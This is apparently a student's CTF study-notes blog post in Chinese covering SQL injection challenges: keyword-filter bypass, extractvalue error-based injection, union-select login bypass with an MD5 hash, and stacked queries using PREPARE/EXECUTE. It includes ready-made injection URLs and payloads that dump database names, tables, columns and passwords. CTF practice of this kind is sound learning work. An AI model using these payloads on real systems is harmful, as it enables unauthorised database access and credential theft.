寒假第二周知识点汇总

【WEB】

一:【Buuctf】 Baby SQL

​ 关键字被屏蔽,如果是被replace替换成空白字符,可以进行人为的构造来注入。例如:屏蔽关键词为’select’,则注入为,union selselectect。

二: 【Buuctf】 Hard SQL

​ 报错注入:报错注入在网上查询到了十种类型 ,链接放在这里了,以后去了解,报错注入的原理讲解目前看不懂(2021/1/16),现在常用的报错注入看网上很多人的博客只有三种出现次数最多:floor(),extractvalue(),updatexml()。我个人目前还是只学会了extractvalue()。

/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

这些是一直到报数据的代码,但写到这里发现,flag只出来一部分,然后查阅资料,用left 和right 分别查一下,再拼接到一起就算是flag了。

三:【buu平台】[GXYCTF2019]BabySQli

在web学习的时候越来越多的看见了misc的影子,这个题给了一串编码,经验去解,32&64。

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

这个题还有一个考点是数据库在储存数据的时候会加密,这个题是md5加密的,所以自己构造的密码也要加密再放进去。

name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23 &pw=123

这个代码一放进去就直接得到flag了。

四:【buu平台】强网杯2019 随便注

堆叠注入:在SQL中,分号是用来表示一条sql语句的结束。如果在 ; 结束一个sql语句后继续构造下一条语句,效果就是分别执行两条sql语句。由于两条语句堆叠在同一行,而不是原本应该各自占据一行,所以这种注入成为堆叠注入。

没有以往的显示位,用show来显示出信息。

数字作为表名的时候为了让语句将他识别为一个字符而不是int类型的数据,用反引号括起来。

这个题后面两个思路。

产生两个思路的原因:过滤了select等语句。

第一种思路是想办法不让他过滤select,我就要用联合查询去查你,让你爆出flag。另一种是你不让我在这个地方看,我就转移到别的地方去看。

第一种的知识点:MySQL预处理命令

PREPARE sqla from '[my sql sequece]';  	 预定义SQL语句
EXECUTE sqla; 							 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  	 删除预定义SQL语句


通过变量进行传递
SET @tn = 'flag';  					存储表名
SET @sql = concat('select * from ', @tn);  		存储SQL语句
PREPARE sqla from @sql;   		预定义SQL语句
EXECUTE sqla;  				执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  	删除预定义SQL语句


PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。
准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。

第二种的知识点:rename改变名字,将flag所在表的名字和列名转换为一开始就显示的那一个。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值